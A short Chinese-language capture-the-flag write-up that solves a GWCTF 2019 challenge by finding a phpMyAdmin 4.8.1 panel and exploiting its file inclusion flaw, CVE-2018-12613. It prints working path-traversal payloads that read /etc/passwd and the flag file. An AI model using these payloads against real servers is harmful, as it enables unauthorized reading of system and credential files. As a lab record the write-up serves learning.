[GWCTF 2019]我有一个数据库1

进来是一堆乱码，查看源码，抓包都没发现什么，这个时候就只能用dirsearch

去扫一下了

可以看到有个/phpmyadmin界面访问一下

得到这样一个界面，关注的点应该在下面这个，一般这种都是查一下版本漏洞

这个是存在这样一个漏洞的phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613）

接下来执行一下漏洞复现

payload：phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd

执行成功，既然/etc/passwd可以被读取成功，就直接尝试一下读取flag

payload：phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag

拿到

（第一次写，纯纯记录一下）